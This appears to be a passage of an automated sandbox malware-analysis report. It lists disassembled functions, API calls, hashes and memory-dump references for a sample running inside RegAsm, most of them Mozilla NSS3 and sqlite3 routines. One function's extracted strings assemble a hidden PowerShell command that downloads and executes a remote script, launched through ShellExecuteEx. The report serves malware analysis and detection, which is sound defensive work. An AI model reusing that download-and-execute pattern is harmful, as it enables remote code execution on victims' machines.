PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C261444,?,00000001,?,00000000,00000000,?), ref: 6C260E79

Part of subcall function 6C271560: TlsGetValue.KERNEL32(00000000,?,6C240844,?), ref: 6C27157A
Part of subcall function 6C271560: EnterCriticalSection.KERNEL32(?,?,?,6C240844,?), ref: 6C27158F
Part of subcall function 6C271560: PR_Unlock.NSS3(?,?,?,?,6C240844,?), ref: 6C2715B2

Part of subcall function 6C23B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C241397,00000000,?,6C23CF93,5B5F5EC0,00000000,?,6C241397,?), ref: 6C23B1CB
Part of subcall function 6C23B1A0: free.MOZGLUE(5B5F5EC0,?,6C23CF93,5B5F5EC0,00000000,?,6C241397,?), ref: 6C23B1D2

Part of subcall function 6C2389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C2388AE,-00000008), ref: 6C238A04
Part of subcall function 6C2389E0: EnterCriticalSection.KERNEL32(?), ref: 6C238A15
Part of subcall function 6C2389E0: memset.VCRUNTIME140(6C2388AE,00000000,00000132), ref: 6C238A27
Part of subcall function 6C2389E0: PR_Unlock.NSS3(?), ref: 6C238A35

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: c3aac8d6c6a2e62a5b2ce532da1e92624a242ca5d7ed424d81a26e8c96ce6401
Instruction ID: ded940d2b71ec86b04cd6f1c4c9fd68b1266e3635914a49a8588bb9319f74f29
Opcode Fuzzy Hash: c3aac8d6c6a2e62a5b2ce532da1e92624a242ca5d7ed424d81a26e8c96ce6401
Instruction Fuzzy Hash: 4351D4F6E002195FEB019F65DC81AAB37A8EF05219F154524FC099BB02FB31ED5887B6

Function 6C216E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C216ED8
sqlite3_value_text.NSS3(?,?), ref: 6C216EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C216FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C216FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C216FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C217010
sqlite3_value_blob.NSS3(?,?), ref: 6C21701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C217052

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: a9ea60edf393a9623c73544bcbadc0935ce40b82606af7786fe2b26c49223feb
Instruction ID: 67826d0aa8c581ff97e3c4d6c5588657a2f6fb42137efb3e8f5b9853f8a50d4e
Opcode Fuzzy Hash: a9ea60edf393a9623c73544bcbadc0935ce40b82606af7786fe2b26c49223feb
Instruction Fuzzy Hash: 5E6182B1E1920E8FDB00CF64D840AEEB7F2AF85208F184165DE15ABB51EB369815CB90

Function 6C288F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C287313), ref: 6C288FBB

Part of subcall function 6C2807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C228298,?,?,?,6C21FCE5,?), ref: 6C2807BF
Part of subcall function 6C2807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C2807E6
Part of subcall function 6C2807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C28081B
Part of subcall function 6C2807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C280825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C287313), ref: 6C289012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C287313), ref: 6C28903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C287313), ref: 6C28909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C287313), ref: 6C2890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C287313), ref: 6C2890F1

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C287313), ref: 6C28906B

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C287313), ref: 6C289128

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 3bf702150e0a1e4bd8c36e7b933b7329f3bbff22668e5a113d6b220014f7ed59
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: CC51C371A0620A8FEB10EF6ADC44B26B3F5AF44319F154029ED15D7BD1EB32E818CB91

Function 6C1A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C1A51BB

Strings

misuse, xrefs: 6C1A51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1A51A5
unable to delete/modify user-function due to active statements, xrefs: 6C1A51DF
%s at line %d of [%.10s], xrefs: 6C1A51B4

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 0231a982e67c053ea0707b27b48240ced7a266e95c8e3e10acd21428b47c9010
Instruction ID: 9354feb225f7712bb13649426f2abe8da0a8044ccfa155adf904ef1df49b2792
Opcode Fuzzy Hash: 0231a982e67c053ea0707b27b48240ced7a266e95c8e3e10acd21428b47c9010
Instruction Fuzzy Hash: 7371C0B9608609DFDB00CEA6CD80BAA77F5BF59308F054524FE099BA41D735E852CBA1

Function 00412D70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412EC0

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E5B
')", xrefs: 00412E13
C:\ProgramData\, xrefs: 00412DA3
.ps1, xrefs: 00412DF3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412E18

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: a3660bf6eb38366a5fc88e1f2295be1a68adea8c2c4e3bb7b595f6666764ac78
Instruction ID: d4bc49303887be4e6334ac6b4843b1e71d055e880c24203978c9a7e3e1ca0007
Opcode Fuzzy Hash: a3660bf6eb38366a5fc88e1f2295be1a68adea8c2c4e3bb7b595f6666764ac78
Instruction Fuzzy Hash: 4641FB71E00119ABCF11FBA6DD469CDB7B4AF04308F61406BF514B7191DBB86E8A8B98

Function 6C26AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C26AB3E,?,?,?), ref: 6C26AC35

Part of subcall function 6C24CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C24CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C26AB3E,?,?,?), ref: 6C26AC55

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C26AB3E,?,?), ref: 6C26AC70

Part of subcall function 6C24E300: TlsGetValue.KERNEL32 ref: 6C24E33C
Part of subcall function 6C24E300: EnterCriticalSection.KERNEL32(?), ref: 6C24E350
Part of subcall function 6C24E300: PR_Unlock.NSS3(?), ref: 6C24E5BC
Part of subcall function 6C24E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C24E5CA
Part of subcall function 6C24E300: TlsGetValue.KERNEL32 ref: 6C24E5F2
Part of subcall function 6C24E300: EnterCriticalSection.KERNEL32(?), ref: 6C24E606
Part of subcall function 6C24E300: PORT_Alloc_Util.NSS3(?), ref: 6C24E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C26AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C26AB3E), ref: 6C26ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C26AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C26AD2B

Part of subcall function 6C24F360: TlsGetValue.KERNEL32(00000000,?,6C26A904,?), ref: 6C24F38B
Part of subcall function 6C24F360: EnterCriticalSection.KERNEL32(?,?,?,6C26A904,?), ref: 6C24F3A0
Part of subcall function 6C24F360: PR_Unlock.NSS3(?,?,?,?,6C26A904,?), ref: 6C24F3D3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 15d7b79540574ae328d6e07ac4f5779261498c0335dd445d99bb893355d95fda
Instruction ID: a25b83ca2d6356ae397513088391b0e1a879ab66be87f76d699b0d18ea82465d
Opcode Fuzzy Hash: 15d7b79540574ae328d6e07ac4f5779261498c0335dd445d99bb893355d95fda
Instruction Fuzzy Hash: 593128B5E0022E9FEB049F2ACC409AF7666AF8471CB188128EC1597B80EB319D55C7B1

Function 6C248C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C248C7C

Part of subcall function 6C2E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DC6
Part of subcall function 6C2E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DD1
Part of subcall function 6C2E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C2E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C248CB0
TlsGetValue.KERNEL32 ref: 6C248CD1
EnterCriticalSection.KERNEL32(?), ref: 6C248CE5
PR_Unlock.NSS3(?), ref: 6C248D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C248D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C248D93

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: ee73e2aeefedd5c0020043d7cd1d71f241dd2f40697198686eb7b06f84ee7708
Instruction ID: ce46e16f29ac6e16a24fe53626cf47a3244100784813d54a4929bfba394936c0
Opcode Fuzzy Hash: ee73e2aeefedd5c0020043d7cd1d71f241dd2f40697198686eb7b06f84ee7708
Instruction Fuzzy Hash: CF313575E0220AEBE708AF78DC44B9AB7B4BF05318F244136EE19A7B50D730A924C7D1

Function 6C242E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C23E728,?,00000038,?,?,00000000), ref: 6C242E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C242E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C242E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C242E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C242E9E
PR_Unlock.NSS3(?), ref: 6C242EAB
PR_Unlock.NSS3(?), ref: 6C242F0D

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: a13aa6fbbe3d33c7472c5edd1e87972ff27bffaa40cb670c380c692cb0c90223
Instruction ID: 9d54104c555443491f96ce71783015e15bc483317b4b916a2586d3cd6a60b81b
Opcode Fuzzy Hash: a13aa6fbbe3d33c7472c5edd1e87972ff27bffaa40cb670c380c692cb0c90223
Instruction Fuzzy Hash: 363126F6A0050AABEB01AF29EC4486AB778EF45259B458174FC08C7B11EB31EC64C7E1

Function 6C28CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C28CD93,?), ref: 6C28CEEE

Part of subcall function 6C2814C0: TlsGetValue.KERNEL32 ref: 6C2814E0
Part of subcall function 6C2814C0: EnterCriticalSection.KERNEL32 ref: 6C2814F5
Part of subcall function 6C2814C0: PR_Unlock.NSS3 ref: 6C28150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C28CD93,?), ref: 6C28CEFC

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C28CD93,?), ref: 6C28CF0B

Part of subcall function 6C280840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C28CD93,?), ref: 6C28CF1D

Part of subcall function 6C27FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C278D2D,?,00000000,?), ref: 6C27FB85
Part of subcall function 6C27FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C27FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C28CD93,?,?,?,?,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF78

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 720119d1d403b9c5e4889f339a17c487d955ec91c1fc65aad0f78ec993555424
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6711D5A1A022095BF710AA666C41B6B75EC9F5864EF14413AFC09D77C1FB60D90C86F1

Function 6C238C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C238C1B
EnterCriticalSection.KERNEL32 ref: 6C238C34
PL_ArenaAllocate.NSS3 ref: 6C238C65
PR_Unlock.NSS3 ref: 6C238C9C
PR_Unlock.NSS3 ref: 6C238CB6

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

Strings

KRAM, xrefs: 6C238C8F

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 532506c500b344619d44c4ae868e3392222c697c3a76f0045cc298260b47333f
Instruction ID: 82c5068e7572f872f801a3d9635d0bf5dc8feaaf0968e49e38aab808b70bf182
Opcode Fuzzy Hash: 532506c500b344619d44c4ae868e3392222c697c3a76f0045cc298260b47333f
Instruction Fuzzy Hash: B4216BB1A157298FD704AF38C484559BBF4BF85304F05896AEC88CB711EB35D88ACB92

Function 6C248E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C262E62,?,?,?,?,?,?,?,00000000,?,?,?,6C234F1C), ref: 6C248EA2

Part of subcall function 6C26F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C26F854
Part of subcall function 6C26F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C26F868
Part of subcall function 6C26F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C26F882
Part of subcall function 6C26F820: free.MOZGLUE(04C483FF,?,?), ref: 6C26F889
Part of subcall function 6C26F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C26F8A4
Part of subcall function 6C26F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C26F8AB
Part of subcall function 6C26F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C26F8C9
Part of subcall function 6C26F820: free.MOZGLUE(280F10EC,?,?), ref: 6C26F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C262E62,?,?,?,?,?,?,?,00000000,?,?,?,6C234F1C), ref: 6C248EC3
